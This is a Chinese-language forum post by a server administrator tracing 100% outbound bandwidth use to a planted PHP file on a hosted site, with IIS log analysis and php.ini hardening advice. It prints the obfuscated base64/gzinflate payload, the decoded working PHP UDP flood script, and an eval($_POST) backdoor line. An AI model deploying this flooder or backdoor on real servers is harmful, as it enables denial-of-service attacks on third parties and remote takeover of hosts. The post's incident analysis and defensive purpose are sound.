askloopp |
2012-02-27 15:23 |
近来有一两台服务器网络常出现问题,甚至断网,PING直接大量掉包。重启后正常。
后经查,带宽占用过高,出现问题时带宽占用百分之一百。初步估计是有攻击了,使用监控观察,有少量UDP攻击(据经验如此量的UDP是不会占用一百M的,也十分疑惑)。启动攻击防御措施,但无济于事。后查看单个网站带宽,也没有异常。 查看带宽进出的吞吐量,当带宽占用过高的时候,是发送字节吞吐量占用百分之一百。而接收几乎为零。这不像是DDOS攻击,不排除会有“下载攻击”。搜索大型压缩文件、视频文件、应用程序并禁止下载。还是会出现类似的情况。 后装入DU METER和某一个带有流量监控功能的软件。等待“攻击”再次到来。“攻击”过后登陆后查看,确实是长时间占用了大量带宽。查看是W3WP.EXE发送的流量比较多。达数十G之巨。记录每一个W3WP.EXE进程的PID并使用IISAPP查看对应的程序池。结束发送流量最大的W3WP.EXE,再查看少了哪一个W3WP.EXE对应的程序池。跟着把当前程序池下所有的网站分池。设置每一个网站单独一个程序池。再一次等待“攻击”。等新的“攻击”来后,再使用上面的方法查到是某一个程序池,这样就查到了出问题的站点。仔细检查后,网站内除了HTM文件、部分图片和一个PHP文件外,仅有一个目录里含有ASP文件。直接停止含ASP文件的目录读取权限。问题还是存在,所以把目光盯到PHP文件上。查看IIS日志后看到有这么一行日志2010-09-05 13:21:25 W3SVC83 60.191.XXX.XXX GET /help.php ip=222.87.129.XXX&port=80&time=7200 80 - 122.225.115.XXX Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 401 5 5 1726 410。 问题就已经很清楚了。在浏览器里面输入WWW.域名.COM/help.php ip=222.87.129.XXX&port=80&time=7200服务器带宽占用立马涨为百分之一百。 查到问题所在,分析PHP文件。
源文件: <?php eval(gzinflate(base64_decode('DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/'))); 解密后: <?php
$packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time(); print 'Flooded: $ip on port $rand <br><br>'; $max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){ $out .= 'X'; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen('udp://$ip', $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo 'Packet complete at '.time('h:i:s').' with $packets (' . round(($packets*65)/1024, 2) . ' mB) packets averaging '. round($packets/$exec_time, 2) . ' packets/s n'; ?> <?php eval($_POST[ddos])?>
有了代码,那工作原理也就很清楚了。 整体来说,不是受攻击了。而是攻击别人了。
解决办法:
不允许PHP使用网络,把php.ini里的allow_url_fopen 值改为allow_url_fopen = Off
如果不行
;extension=php_sockets.dll (限制使用sockets.dll) ;ignore_user_abort = On 这两项前加上分号。 但默认这两项就是这样设置的。防止某些同志手动打开了的。 然后重启IIS。 |
|